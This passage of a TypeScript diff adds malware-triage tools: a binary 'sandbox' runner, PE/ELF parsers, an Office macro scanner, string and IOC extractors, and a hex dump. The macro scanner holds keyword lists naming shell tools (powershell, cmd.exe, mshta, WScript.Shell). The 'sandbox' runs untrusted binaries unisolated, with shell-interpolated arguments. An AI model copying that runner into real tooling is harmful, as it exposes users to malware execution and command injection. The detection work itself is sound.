(!isElf && !isScript) { + report.push("⚠ Not an ELF or script — cannot execute directly."); + return report.join("\n"); + } + + // Create sandbox directory + const sandboxDir = resolve(homedir(), ".config", "phantom", "sandbox", `run_${Date.now()}`); + mkdirSync(sandboxDir, { recursive: true }); + const sandboxPath = resolve(sandboxDir, "target"); + + // Copy file to sandbox + writeFileSync(sandboxPath, buf); + try { execSync(`chmod +x '${sandboxPath}'`, { timeout: 3000 }); } catch {} + + const tmpDir = resolve(sandboxDir, "tmp"); + mkdirSync(tmpDir, { recursive: true }); + + report.push(`🔒 Sandbox: ${sandboxDir}`); + report.push(`⏱ Timeout: ${timeoutSec}s`); + report.push(``); + + // Try strace first for deeper analysis + let hasStrace = false; + try { execSync("which strace", { encoding: "utf-8", timeout: 3000 }); hasStrace = true; } catch {} + + if (hasStrace) { + const straceLog = resolve(sandboxDir, "strace.log"); + try { + const straceCmd = `strace -f -e trace=process,network,file,ipc -o '${straceLog}' timeout ${timeoutSec} '${sandboxPath}' ${binaryArgs} 2>&1`; + const r = execSync(straceCmd, { encoding: "utf-8", timeout: (timeoutSec + 10) * 1000, maxBuffer: 1024 * 1024, cwd: tmpDir }); + const stdout = r.substring(0, 3000); + if (stdout.trim()) report.push(`📤 stdout/stderr:\n${stdout}`); + } catch (e: any) { + const out = e.stdout?.substring(0, 2000) || ""; + if (out.trim()) report.push(`📤 stdout:\n${out}`); + } + + // Parse strace log for interesting syscalls + if (existsSync(straceLog)) { + const strace = readFileSync(straceLog, "utf-8"); + const lines = strace.split("\n").filter(Boolean); + report.push(`\n📋 Syscalls: ${lines.length} total`); + + // Extract key behaviors + const netCalls = lines.filter(l => l.includes("connect(") || l.includes("socket(") || l.includes("bind(")); + const fileCalls = lines.filter(l => l.includes("open(") || l.includes("openat(")); + const procCalls = lines.filter(l => l.includes("clone(") || l.includes("fork(") || l.includes("execve(")); + const ipcCalls = lines.filter(l => l.includes("shmget") || l.includes("semop") || l.includes("msgget")); + + if (netCalls.length) report.push(`🌐 Network: ${netCalls.length} call(s) — possible C2 or beaconing`); + if (fileCalls.length) report.push(`📁 File I/O: ${fileCalls.length} call(s)`); + if (procCalls.length) report.push(`🔧 Process: ${procCalls.length} fork/execve(s)`); + if (ipcCalls.length) report.push(`🔗 IPC: ${ipcCalls.length} call(s)`); + + // Show first 5 interesting lines of each category + for (const [cat, arr] of Object.entries({ "Network": netCalls, "File": fileCalls, "Process": procCalls })) { + if (arr.length) { + const sample = arr.slice(0, 5).map(l => " " + l.substring(0, 160)).join("\n"); + report.push(`\n${cat} (sample):\n${sample}`); + } + } + } + } else { + // Run without strace + try { + const r = execSync(`timeout ${timeoutSec} '${sandboxPath}' ${binaryArgs} 2>&1`, { + encoding: "utf-8", timeout: (timeoutSec + 5) * 1000, maxBuffer: 1024 * 1024, cwd: tmpDir, + }); + const out = r.substring(0, 3000); + if (out.trim()) report.push(`📤 Output:\n${out}`); + else report.push("📤 (no stdout output)"); + } catch (e: any) { + const out = e.stdout?.substring(0, 2000) || ""; + const err = e.stderr?.substring(0, 1000) || e.message || ""; + if (out.trim()) report.push(`📤 stdout:\n${out}`); + if (err.trim()) report.push(`📤 stderr:\n${err}`); + if (e.status !== null) report.push(`🚦 Exit code: ${e.status}`); + } + } + + // Cleanup on success + report.push(`\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━`); + report.push(`✅ Sandbox completed. Cleanup: rm -rf ${sandboxDir}`); + + return report.join("\n"); + } catch (e: any) { + return `[Sandbox Error] ${e.message}`; + } +} + +// ── PE ANALYZER ──────────────────────────────────────────── +async function peAnalyze(path: string): Promise { + try { + if (!existsSync(path)) return `[PE] File not found: ${path}`; + const buf = readFileSync(path); + const magic = buf.slice(0, 2).toString(); + if (magic !== "MZ") return `[PE] Not a PE file (no MZ magic): ${path}`; + + const lines: string[] = [`📦 PE Analysis: ${path}`, `Size: ${buf.length} bytes`, ``]; + + // DOS Header + const e_lfanew = buf.readUInt32LE(0x3c); // offset to PE signature + lines.push(`DOS Header:`); + lines.push(` e_lfanew (PE offset): 0x${e_lfanew.toString(16)}`); + + // PE Signature + const peSig = buf.slice(e_lfanew, e_lfanew + 4).toString(); + if (peSig !== "PE\0\0") return `[PE] Invalid PE signature at offset 0x${e_lfanew.toString(16)}: ${peSig}`; + lines.push(`PE Signature: ${peSig}`); + + // COFF Header + const coffOff = e_lfanew + 4; + const machine = buf.readUInt16LE(coffOff); + const sections = buf.readUInt16LE(coffOff + 2); + const timestamp = buf.readUInt32LE(coffOff + 8); + const characteristics = buf.readUInt16LE(coffOff + 20); + + const machines: Record = { + 0x14c: "I386", 0x8664: "AMD64", 0x1c0: "ARM", 0xaa64: "ARM64", + 0x200: "IA64", 0x1c4: "ARMNT", 0x4c: "MIPS", 0x162: "MIPS16", + }; + + const compileDate = timestamp ? new Date(timestamp * 1000).toISOString() : "N/A"; + + lines.push(`\nCOFF Header:`); + lines.push(` Machine: ${machines[machine] || `0x${machine.toString(16)}`}`); + lines.push(` Sections: ${sections}`); + lines.push(` Compile Timestamp: ${compileDate} ${timestamp ? `(0x${timestamp.toString(16)})` : ""}`); + lines.push(` Characteristics: 0x${characteristics.toString(16)}`); + if (characteristics & 0x2000) lines.push(` → DLL`); + + // Optional Header + const optHdrOff = coffOff + 24; + const optMagic = buf.readUInt16LE(optHdrOff); + + if (optMagic === 0x10b || optMagic === 0x20b) { + const isPE32Plus = optMagic === 0x20b; + const entryPoint = isPE32Plus ? buf.readUInt32LE(optHdrOff + 16) : buf.readUInt32LE(optHdrOff + 16); + const imageBase = isPE32Plus ? buf.readBigUInt64LE(optHdrOff + 24).toString() : `0x${buf.readUInt32LE(optHdrOff + 28).toString(16)}`; + const sectionAlign = isPE32Plus ? buf.readUInt32LE(optHdrOff + 32) : buf.readUInt32LE(optHdrOff + 32); + const fileAlign = isPE32Plus ? buf.readUInt32LE(optHdrOff + 36) : buf.readUInt32LE(optHdrOff + 36); + const imageSize = isPE32Plus ? buf.readUInt32LE(optHdrOff + 56) : buf.readUInt32LE(optHdrOff + 52); + const subsystems: Record = { 1: "NATIVE", 2: "WINDOWS_GUI", 3: "WINDOWS_CUI", 5: "OS2", 7: "POSIX" }; + const subsystem = isPE32Plus ? buf.readUInt16LE(optHdrOff + 68) : buf.readUInt16LE(optHdrOff + 68); + const dllChars = isPE32Plus ? buf.readUInt16LE(optHdrOff + 70) : buf.readUInt16LE(optHdrOff + 70); + + lines.push(`\nOptional Header (PE${isPE32Plus ? "32+" : "32"}):`); + lines.push(` Entry Point: 0x${entryPoint.toString(16)}`); + lines.push(` Image Base: ${imageBase}`); + lines.push(` Section Align: 0x${sectionAlign.toString(16)}`); + lines.push(` File Align: 0x${fileAlign.toString(16)}`); + lines.push(` Image Size: ${(imageSize / 1024).toFixed(1)} KB (0x${imageSize.toString(16)})`); + lines.push(` Subsystem: ${subsystems[subsystem] || `0x${subsystem.toString(16)}`}`); + if (dllChars & 0x40) lines.push(` ⚠ DLL has TLS callbacks (malware indicator)`); + + // ── Section Table ── + const sectionOff = optHdrOff + (isPE32Plus ? 108 : 96); + lines.push(`\nSection Table (${sections} sections):`); + + let allSections: string[] = []; + const suspiciousSections = [".text", ".data", ".rdata", ".idata", ".rsrc", ".reloc"]; + for (let i = 0; i < sections; i++) { + const sOff = sectionOff + i * 40; + const name = buf.slice(sOff, sOff + 8).toString().replace(/\0/g, ""); + const vsize = buf.readUInt32LE(sOff + 8); + const vaddr = buf.readUInt32LE(sOff + 12); + const rsize = buf.readUInt32LE(sOff + 16); + const roff = buf.readUInt32LE(sOff + 20); + const chars = buf.readUInt32LE(sOff + 36); + + const charFlags: string[] = []; + if (chars & 0x20) charFlags.push("CODE"); + if (chars & 0x40) charFlags.push("INIT_DATA"); + if (chars & 0x80) charFlags.push("UNINIT_DATA"); + if (chars & 0x20000000) charFlags.push("EXECUTE"); + if (chars & 0x40000000) charFlags.push("READ"); + if (chars & 0x80000000) charFlags.push("WRITE"); + + const isSuspicious = !suspiciousSections.includes(name) && !name.startsWith(".") && name.length > 0; + const hasWriteAndExec = (chars & 0x20000000) && (chars & 0x80000000); + const marker = isSuspicious ? " ⚠ non-standard" : hasWriteAndExec ? " ⚠ W+X" : ""; + + allSections.push(` [${i}] ${name.padEnd(10)} VSize: ${(vsize/1024).toFixed(1)}K VAddr: 0x${vaddr.toString(16).padStart(8, "0")} Raw: ${(rsize/1024).toFixed(1)}K Flags: ${charFlags.join("|")}${marker}`); + } + lines.push(...allSections); + + // ── Data Directories (check for import/export) ── + const dataDirOff = optHdrOff + (isPE32Plus ? 112 : 96) + sections * 40; + const numDataDirs = isPE32Plus ? buf.readUInt32LE(optHdrOff + 108) : buf.readUInt32LE(optHdrOff + 92); + + if (numDataDirs > 0) { + lines.push(`\nData Directories (first 8):`); + const dirNames = ["Export", "Import", "Resource", "Exception", "Security", "Relocation", "Debug", "TLS"]; + for (let i = 0; i < Math.min(8, numDataDirs); i++) { + const dOff = dataDirOff + i * 8; + const va = buf.readUInt32LE(dOff); + const sz = buf.readUInt32LE(dOff + 4); + if (va || sz) lines.push(` ${dirNames[i]?.padEnd(12)} VA: 0x${va.toString(16).padStart(8,"0")} Size: ${sz}`); + } + } + + // ── Import Table (basic parse) ── + if (numDataDirs > 1) { + const importDirRVA = buf.readUInt32LE(dataDirOff + 8); + const importDirSize = buf.readUInt32LE(dataDirOff + 12); + if (importDirRVA && importDirSize > 0) { + lines.push(`\nImport Table (${importDirSize} bytes at RVA 0x${importDirRVA.toString(16)}):`); + lines.push(` (Use a PE parser tool for full import listing)`); + } + } + + } else { + lines.push(`\n⚠ Unknown Optional Header magic: 0x${optMagic.toString(16)}`); + } + + // ── Entropy / Suspicious Indicators ── + let freq = new Map(); + for (let i = 0; i < buf.length; i++) freq.set(buf[i], (freq.get(buf[i]) || 0) + 1); + let entropy = 0; + for (const count of freq.values()) { const p = count / buf.length; entropy -= p * Math.log2(p); } + lines.push(`\nEntropy: ${entropy.toFixed(4)} ${entropy > 7.2 ? "⚠ SUSPICIOUS (packed/encrypted)" : entropy > 6.5 ? "⚠ High" : "— Normal"}`); + + // Check for suspicious section names + const knownBad = [".upx", ".packed", ".themida", ".vmp"]; + // check all section names + const sectionNames: string[] = []; + // re-parse section names from section table + const optHdrSz = (optMagic === 0x20b) ? 108 : 96; + const secOff = optHdrOff + optHdrSz; + for (let i = 0; i < sections; i++) { + const sOff = secOff + i * 40; + const n = buf.slice(sOff, sOff + 8).toString().replace(/\0/g, ""); + sectionNames.push(n); + } + const packerMatches = knownBad.filter(b => sectionNames.some(sn => sn.toLowerCase().includes(b))); + if (packerMatches.length) lines.push(`⚠ Packer detected: ${packerMatches.join(", ")}`); + + return lines.join("\n"); + } catch (e: any) { + return `[PE Error] ${e.message}`; + } +} + +// ── ELF ANALYZER ─────────────────────────────────────────── +async function elfAnalyze(path: string): Promise { + try { + if (!existsSync(path)) return `[ELF] File not found: ${path}`; + const buf = readFileSync(path); + if (buf[0] !== 0x7f || buf[1] !== 0x45 || buf[2] !== 0x4c || buf[3] !== 0x46) + return `[ELF] Not an ELF file`; + + const is64 = buf[4] === 2; // EI_CLASS + const endian = buf[5] === 1 ? "Little Endian" : "Big Endian"; + const osabi = buf[7]; + const osabiNames: Record = { 0: "UNIX System V", 3: "GNU/Linux", 9: "FreeBSD", 12: "OpenBSD" }; + const etype = is64 ? buf.readUInt16LE(16) : buf.readUInt16LE(16); + const typeNames: Record = { 0: "NONE", 1: "REL (Relocatable)", 2: "EXEC (Executable)", 3: "DYN (Shared Object)", 4: "CORE" }; + const emachine = is64 ? buf.readUInt16LE(18) : buf.readUInt16LE(18); + const machineNames: Record = { 3: "i386", 62: "x86-64", 40: "ARM", 183: "AArch64", 50: "IA-64", 20: "PowerPC", 21: "PowerPC64", 8: "MIPS", 243: "RISC-V" }; + const entry = is64 ? buf.readBigUInt64LE(24) : buf.readUInt32LE(24); + const phoff = is64 ? Number(buf.readBigUInt64LE(32)) : buf.readUInt32LE(28); + const shoff = is64 ? Number(buf.readBigUInt64LE(40)) : buf.readUInt32LE(32); + const phnum = is64 ? buf.readUInt16LE(56) : buf.readUInt16LE(44); + const shnum = is64 ? buf.readUInt16LE(60) : buf.readUInt16LE(48); + const shstrndx = is64 ? buf.readUInt16LE(62) : buf.readUInt16LE(50); + + const lines: string[] = [ + `🐧 ELF Analysis: ${path}`, + `Size: ${buf.length} bytes`, + `Class: ${is64 ? "ELF64" : "ELF32"}`, + `Byte Order: ${endian}`, + `OS/ABI: ${osabiNames[osabi] || `0x${osabi.toString(16)}`}`, + `Type: ${typeNames[etype] || `0x${etype.toString(16)}`}`, + `Machine: ${machineNames[emachine] || `0x${emachine.toString(16)}`}`, + `Entry Point: 0x${entry.toString(16)}`, + `Section Headers: ${shnum} (offset 0x${shoff.toString(16)})`, + `Program Headers: ${phnum} (offset 0x${phoff.toString(16)})`, + ``, + ]; + + // Program Headers + if (phnum > 0 && phoff > 0) { + const phent = is64 ? 56 : 32; + lines.push(`Program Headers (${phnum}):`); + const ptNames: Record = { 0: "NULL", 1: "LOAD", 2: "DYNAMIC", 3: "INTERP", 4: "NOTE", 5: "SHLIB", 6: "PHDR", 7: "TLS", 0x6474e550: "GNU_EH_FRAME", 0x6474e551: "GNU_STACK", 0x6474e552: "GNU_RELRO", 0x6474e553: "GNU_PROPERTY" }; + for (let i = 0; i < phnum; i++) { + const off = phoff + i * phent; + const ptype = is64 ? buf.readUInt32LE(off) : buf.readUInt32LE(off); + const ptypeName = ptNames[ptype] || `0x${ptype.toString(16)}`; + const pflags = is64 ? buf.readUInt32LE(off + 4) : buf.readUInt32LE(off + 24); + const pvaddr = is64 ? Number(buf.readBigUInt64LE(off + 16)) : buf.readUInt32LE(off + 8); + const pmemsz = is64 ? Number(buf.readBigUInt64LE(off + 40)) : buf.readUInt32LE(off + 20); + const flagStr = ((pflags & 4) ? "R" : "") + ((pflags & 2) ? "W" : "") + ((pflags & 1) ? "X" : ""); + + const isWX = (pflags & 2) && (pflags & 1); // W+X + lines.push(` [${i}] ${ptypeName.padEnd(18)} 0x${pvaddr.toString(16).padStart(8, "0")} memsz=${pmemsz} ${flagStr}${isWX ? " ⚠ W+X" : ""}`); + } + } + + // ── Dynamic Symbols (imported functions) ── + // We look for .dynsym section via section headers + if (shnum > 0 && shoff > 0) { + const shent = is64 ? 64 : 40; + let dynsymOff = 0, dynsymEntSize = 0, dynsymCount = 0; + let strtabOff = 0, dynstrOff = 0; + + for (let i = 0; i < shnum; i++) { + const sOff = shoff + i * shent; + const shName = is64 ? buf.readUInt32LE(sOff) : buf.readUInt32LE(sOff); + const shType = is64 ? buf.readUInt32LE(sOff + 4) : buf.readUInt32LE(sOff + 4); + const shFlags = is64 ? Number(buf.readBigUInt64LE(sOff + 8)) : buf.readUInt32LE(sOff + 8); + const shAddr = is64 ? Number(buf.readBigUInt64LE(sOff + 16)) : buf.readUInt32LE(sOff + 12); + const shOffset = is64 ? Number(buf.readBigUInt64LE(sOff + 24)) : buf.readUInt32LE(sOff + 16); + const shSize = is64 ? Number(buf.readBigUInt64LE(sOff + 32)) : buf.readUInt32LE(sOff + 20); + + if (shType === 11) { // SHT_DYNSYM + dynsymOff = shOffset; + dynsymEntSize = is64 ? 24 : 16; // actually from section header + dynsymCount = Math.floor(Math.min(shSize, dynsymOff ? 500 : 0) / 24); // rough + } + if (shType === 3) { // SHT_STRTAB — find .dynstr + if (i !== shstrndx) dynstrOff = shOffset; + } + } + + if (dynsymOff > 0 && dynstrOff > 0) { + const symEnt = is64 ? 24 : 16; + const count = Math.min(200, Math.floor((buf.length - dynsymOff) / symEnt)); + lines.push(`\nDynamic Symbols (imported functions, first ${count}):`); + let imports = 0; + for (let i = 0; i < count; i++) { + const sOff = dynsymOff + i * symEnt; + const strIdx = is64 ? buf.readUInt32LE(sOff) : buf.readUInt32LE(sOff); + const symVal = is64 ? Number(buf.readBigUInt64LE(sOff + 8)) : buf.readUInt32LE(sOff + 4); + const symSize = is64 ? Number(buf.readBigUInt64LE(sOff + 16)) : buf.readUInt32LE(sOff + 8); + + if (strIdx > 0 && strIdx < buf.length - dynstrOff) { + let name = ""; + for (let j = dynstrOff + strIdx; j < buf.length && buf[j] !== 0; j++) name += String.fromCharCode(buf[j]); + if (name && !name.startsWith("_") && name.length > 1) { + if (!name.startsWith("__")) { + lines.push(` ${name}`); + imports++; + } + } + } + } + if (imports === 0) lines.push(" (none or stripped)"); + } + } + + // ── Entropy ── + let freq = new Map(); + for (let i = 0; i < buf.length; i++) freq.set(buf[i], (freq.get(buf[i]) || 0) + 1); + let entropy = 0; + for (const count of freq.values()) { const p = count / buf.length; entropy -= p * Math.log2(p); } + lines.push(`\nEntropy: ${entropy.toFixed(4)} ${entropy > 7.2 ? "⚠ SUSPICIOUS (packed/encrypted)" : entropy > 6.5 ? "⚠ High" : "— Normal"}`); + + // Suspicious: INTERP missing for executable, or stack is W+X + if (etype === 2) { + // Check for stack executability + for (let i = 0; i < phnum; i++) { + const off = phoff + i * (is64 ? 56 : 32); + if ((is64 ? buf.readUInt32LE(off) : buf.readUInt32LE(off)) === 0x6474e551) { // GNU_STACK + const flags = is64 ? buf.readUInt32LE(off + 4) : buf.readUInt32LE(off + 24); + if (flags & 1) lines.push("⚠ W+X Stack (GNU_STACK executable) — suspicious"); + } + } + } + + return lines.join("\n"); + } catch (e: any) { + return `[ELF Error] ${e.message}`; + } +} + +// ── MACRO SCAN (Office Documents) ───────────────────────── +async function macroScan(path: string): Promise { + try { + if (!existsSync(path)) return `[MacroScan] File not found: ${path}`; + const buf = readFileSync(path); + const magic = buf.slice(0, 8).toString("hex"); + + const isOLE2 = magic.startsWith("d0cf11e0a1b11ae1"); + const isOOXML = magic.startsWith("504b0304") && (path.endsWith(".docx") || path.endsWith(".xlsx") || path.endsWith(".pptx") || path.endsWith(".xlsm") || path.endsWith(".docm")); + + const lines: string[] = [ + `📋 Macro Analysis: ${path}`, + `Size: ${buf.length} bytes (${(buf.length/1024).toFixed(1)} KB)`, + ]; + + if (isOLE2) { + lines.push(`Format: OLE2 (binary Office document — .doc/.xls/.ppt/.dot)`); + // Scan for VBA magic bytes: "VBA" / "Attribut" / "Macro" / "Auto_" + let vbaStrings: string[] = []; + let suspiciousPatterns: string[] = []; + + // Extract printable strings from the binary + let cur = ""; + for (let i = 0; i < buf.length; i++) { + const c = buf[i]; + if (c >= 32 && c <= 126) { cur += String.fromCharCode(c); } + else { + if (cur.length >= 4) { + const lower = cur.toLowerCase(); + if (lower.includes("vba") || lower.includes("macro") || lower.includes("auto_") || + lower.includes("attribut") || lower.includes("module")) { + vbaStrings.push(cur.substring(0, 200)); + } + if (lower.includes("shell(") || lower.includes("createobject") || lower.includes("wscript") || + lower.includes("exec(") || lower.includes("run(") || lower.includes("eval(") || + lower.includes("mshta") || lower.includes("powershell") || lower.includes("cmd.exe")) { + suspiciousPatterns.push(cur.substring(0, 200)); + } + } + cur = ""; + } + } + if (cur.length >= 4) { + const lower = cur.toLowerCase(); + if (lower.includes("vba") || lower.includes("macro") || lower.includes("auto_")) vbaStrings.push(cur.substring(0, 200)); + if (lower.includes("shell(") || lower.includes("createobject")) suspiciousPatterns.push(cur.substring(0, 200)); + } + + if (vbaStrings.length) { + lines.push(`\n✅ VBA/Macros detected! (${vbaStrings.length} string(s))`); + lines.push(...vbaStrings.slice(0, 20).map(s => ` 📝 ${s}`)); + } else { + lines.push(`\nℹ️ No obvious VBA macros found (may be encrypted/stored differently)`); + } + + if (suspiciousPatterns.length) { + lines.push(`\n🚨 Suspicious patterns detected! (${suspiciousPatterns.length}):`); + lines.push(...suspiciousPatterns.slice(0, 15).map(s => ` ⚠ ${s}`)); + } else { + lines.push(`\n✅ No suspicious macro patterns detected.`); + } + + // Check for Auto macros + const autoMacros = ["auto_open", "auto_close", "document_open", "autoexec", "autonew"]; + const foundAuto = autoMacros.filter(a => { + const lc = buf.toString("latin1").toLowerCase(); + return lc.includes(a); + }); + if (foundAuto.length) { + lines.push(`\n⚠ Auto-executing macros found: ${foundAuto.join(", ")}`); + } + + } else if (isOOXML) { + lines.push(`Format: OOXML (ZIP-based — .docx/.xlsx/.pptx)`); + // Try to find vbaProject.bin inside the ZIP + const zipMagic = "PK"; + // Simple ZIP central directory scan for vbaProject.bin + const haystack = buf.toString("latin1"); + if (haystack.includes("vbaProject.bin")) { + lines.push(`\n✅ VBA project found (vbaProject.bin embedded)`); + // Scan for suspicious patterns in the vba stream + const cur = haystack.substring(haystack.indexOf("vbaProject.bin") - 200, Math.min(haystack.length, haystack.indexOf("vbaProject.bin") + 500)); + const suspicious = ["Auto_Open", "Shell(", "CreateObject", "WScript", "PowerShell", "cmd.exe", "MSHTA", "Eval(", "Exec("]; + const hits = suspicious.filter(s => haystack.toLowerCase().includes(s.toLowerCase())); + if (hits.length) { + lines.push(`\n🚨 Suspicious VBA patterns: ${hits.join(", ")}`); + } + } else { + lines.push(`ℹ️ No embedded VBA project found`); + } + } else if (path.endsWith(".vba") || path.endsWith(".vbs") || path.endsWith(".bas")) { + lines.push(`Format: Raw VBA/VBS script`); + const content = buf.toString("latin1"); + const suspicious = ["Shell(", "CreateObject(\"WScript.Shell\")", "CreateObject(\"Shell.Application\")", "PowerShell", "cmd.exe", "MSHTA", "Eval(", "Exec(", "WScript.Run", "FileSystemObject", "RegWrite", "HTTPRequest"]; + const hits = suspicious.filter(s => content.includes(s)); + lines.push(`\nLength: ${content.length} chars`); + if (hits.length) { + lines.push(`\n🚨 ${hits.length} suspicious patterns:`); + hits.forEach(h => { + const idx = content.indexOf(h); + const ctx = content.substring(Math.max(0, idx - 30), idx + h.length + 60).replace(/\n/g, "\\n").substring(0, 150); + lines.push(` ⚠ ${h}: ...${ctx}...`); + }); + } else { + lines.push(`✅ No suspicious patterns`); + } + lines.push(`\n── Source (first 30 lines) ──`); + lines.push(content.split("\n").slice(0, 30).join("\n")); + } else { + lines.push(`\nℹ️ Unknown format. Supported: .doc, .xls, .ppt (OLE2), .docx, .xlsm, .docm (OOXML), .vba, .vbs, .bas`); + } + + return lines.join("\n"); + } catch (e: any) { + return `[MacroScan Error] ${e.message}`; + } +} + +// ── DEEP STRINGS (Categorized) ──────────────────────────── +async function stringsDeep(path: string): Promise { + try { + if (!existsSync(path)) return `[StringsDeep] File not found: ${path}`; + const buf = readFileSync(path); + const size = buf.length; + + // Extract all printable strings >= 4 chars + const allStrings: string[] = []; + let cur = ""; + for (let i = 0; i < buf.length; i++) { + const c = buf[i]; + if (c >= 32 && c <= 126) { cur += String.fromCharCode(c); } + else { + if (cur.length >= 4) allStrings.push(cur); + cur = ""; + } + } + if (cur.length >= 4) allStrings.push(cur); + + // Classify + const ipv4Re = /\b(?:\d{1,3}\.){3}\d{1,3}\b/; + const domainRe = /\b(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}\b/; + const urlRe = /https?:\/\/[^\s"']+/; + const emailRe = /\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/; + const filepathRe = /(?:[a-zA-Z]:\\[^\s"<>|:]+|\/[^\s"<>|:]+)/; + const cryptoKeyRe = /(?:key|secret|token|cert|private).{0,20}=.{0,80}/i; + + const ips = new Set(); + const domains = new Set(); + const urls = new Set(); + const emails = new Set(); + const paths = new Set(); + const cryptos: string[] = []; + const others: string[] = []; + + for (const s of allStrings) { + const trimmed = s.trim(); + if (trimmed.length > 200) { others.push(trimmed.substring(0, 200) + "..."); continue; } + if (trimmed.startsWith("http") && urlRe.test(trimmed)) { + try { urls.add(new URL(trimmed).href); } catch { urls.add(trimmed); } + } else if (emailRe.test(trimmed)) emails.add(trimmed); + else if (ipv4Re.test(trimmed) && !trimmed.startsWith("0.")) { + const ip = trimmed.match(ipv4Re)![0]; + if (!ip.startsWith("127.") && !ip.startsWith("0.")) ips.add(ip); + } else if (domainRe.test(trimmed) && !trimmed.includes("/")) { + const d = trimmed.match(domainRe)![0]; + if (!d.endsWith(".local") && !d.endsWith(".lan") && !d.endsWith(".localhost")) domains.add(d); + } else if (filepathRe.test(trimmed)) paths.add(trimmed); + else if (cryptoKeyRe.test(trimmed)) cryptos.push(trimmed.substring(0, 150)); + else if (trimmed.length >= 8 && trimmed.length <= 64) others.push(trimmed); + } + + const lines: string[] = [ + `🔍 Deep String Analysis: ${path}`, + `Total strings (≥4 chars): ${allStrings.length}`, + `Total file size: ${(size/1024).toFixed(1)} KB`, + ``, + ]; + + if (urls.size) lines.push(`🌐 URLs (${urls.size}):`, ...Array.from(urls).slice(0, 15).map(u => ` ${u}`), ""); + if (emails.size) lines.push(`📧 Emails (${emails.size}):`, ...Array.from(emails).slice(0, 10).map(e => ` ${e}`), ""); + if (ips.size) lines.push(`🌍 IP Addresses (${ips.size}):`, ...Array.from(ips).slice(0, 15).map(i => ` ${i}`), ""); + if (domains.size) lines.push(`🌐 Domains (${domains.size}):`, ...Array.from(domains).slice(0, 15).map(d => ` ${d}`), ""); + if (paths.size) lines.push(`📁 File Paths (${paths.size}):`, ...Array.from(paths).slice(0, 10).map(p => ` ${p}`), ""); + if (cryptos.length) lines.push(`🔑 Potential Secrets (${cryptos.length}):`, ...cryptos.slice(0, 10).map(c => ` ⚠ ${c}`), ""); + + // Entropy + let freq = new Map(); + for (let i = 0; i < buf.length; i++) freq.set(buf[i], (freq.get(buf[i]) || 0) + 1); + let entropy = 0; + for (const count of freq.values()) { const p = count / buf.length; entropy -= p * Math.log2(p); } + lines.push(`\nEntropy: ${entropy.toFixed(4)} ${entropy > 7.2 ? "⚠ PACKED" : entropy > 6.5 ? "⚠ High" : "— Normal"}`); + + return lines.join("\n"); + } catch (e: any) { + return `[StringsDeep Error] ${e.message}`; + } +} + +// ── HEX DUMP ─────────────────────────────────────────────── +async function hexDump(input: string): Promise { + try { + const parts = input.split("|").map(s => s.trim()); + const path = parts[0]; + const offset = parseInt(parts[1]) || 0; + const limit = Math.min(parseInt(parts[2]) || 512, 4096); + + if (!existsSync(path)) return `[HexDump] File not found: ${path}`; + const buf = readFileSync(path); + const size = buf.length; + + const lines: string[] = [ + `⎔ Hex Dump: ${path}`, + `Size: ${size} bytes (${(size/1024).toFixed(1)} KB)`, + `Range: 0x${offset.toString(16)} — 0x${Math.min(offset + limit, size).toString(16)} (${limit} bytes)`, + `───┬──────────┬──────────────────────────────┬────────────────────`, + `OFF│ 0 1 2 3 4 5 6 7 8 9 A B C D E F │ ASCII`, + `───┴──────────┴──────────────────────────────┴────────────────────`, + ]; + + const end = Math.min(offset + limit, size); + for (let i = offset; i < end; i += 16) { + const addr = `0x${i.toString(16).padStart(8, "0")}`; + const hexParts: string[] = []; + const asciiParts: string[] = []; + for (let j = 0; j < 16 && i + j < end; j++) { + const byte = buf[i + j]; + hexParts.push(byte.toString(16).padStart(2, "0")); + if (j === 7) hexParts.push(" "); + asciiParts.push(byte >= 32 && byte <= 126 ? String.fromCharCode(byte) : "."); + } + const hexStr = hexParts.join(" ").padEnd(51); + const asciiStr = asciiParts.join(""); + lines.push(`${addr}│ ${hexStr}│ ${asciiStr}`); + } + + lines.push(`───┴──────────┴──────────────────────────────┴────────────────────`); + lines.push(`Use: @hex_dump|path|offset|length (default: offset=0, length=512)`); + + return lines.join("\n"); + } catch (e: any) { + return `[HexDump Error] ${e.message}`; + } +} + +// ── IOC EXTRACTOR ────────────────────────────────────────── +async function extractIoc(input: string): Promise { + try { + const parts = input.split("|").map(s => s.trim()); + const source = parts[0]; + + let text: string; + let sourceName = "text"; + + if (existsSync(source)) { + text = readFileSync(source, "utf-8"); + sourceName = source; + } else { + text = input; + sourceName = "inline text"; + } + + // Extract IOCs with regex + const ipv4Re = /\b(?:\d{1,3}\.){3}\d{1,3}\b/g; + const domainRe = /\b(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}\b/g; + const urlRe = /https?:\/\/[^\s<>"')\]]+/g; + const emailRe = /\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/g; + const md5Re = /\b[a-fA-F0-9]{32}\b/g; + const sha1Re = /\b[a-fA-F0-9]{40}\b/g; + const sha256Re = /\b[a-fA-F0-9]{64}\b/g; + const filePathRe = /(?:[a-zA-Z]:\\[^\s<>"|:]+|\/[^\s<>"|:]+)/g; + + const results: Record = { + "IPv4": [...new Set((text.match(ipv4Re) || []).filter(ip => !ip.startsWith("127.") && !ip.startsWith("0.") && !ip.startsWith("10.") && !ip.startsWith("192.168.") && !ip.startsWith("172.1")))], + "URLs": [...new Set(text.match(urlRe) || []).values()].map(u => u.replace(/[.,;:!?)]+$/, "")), + "Domains": [...new Set((text.match(domainRe) || []).filter(d => !d.startsWith("http") && !d.includes("/") && !d.startsWith("www.")))], + "Emails": [...new Set(text.match(emailRe) || [])], + "MD5": [...new Set(text.match(md5Re) || [])], + "SHA1": [...new Set(text.match(sha1Re) || [])], + "SHA256": [...new Set(text.match(sha256Re) || [])], + }; + + // Filter URLs to valid + results["URLs"] = results["URLs"].filter(u => { + try { new URL(u); return true; } catch { return false; } + }); + + // Filter domains to exclude IPs and URLs + const ipSet = new Set(results["IPv4"]); + results["Domains"] = results["Domains"].filter(d => + !ipSet.has(d) && d.includes(".") && !d.match(/^\d/) && d.length > 3 + ); + + const totalIocs = Object.values(results).reduce((sum, arr) => sum + arr.length, 0); + + const lines: string[] = [ + `🎯 IOC Extraction from ${sourceName}`, + `Total IOCs found: ${totalIocs}`, + `Text length: ${text.length} chars`, + ``, + ]; + + for (const [type, iocs] of Object.entries(results)) { + if (iocs.length) { + lines.push(`${type} (${iocs.length}):`); + lines.push(...iocs.slice(0, 20).map(ioc => ` 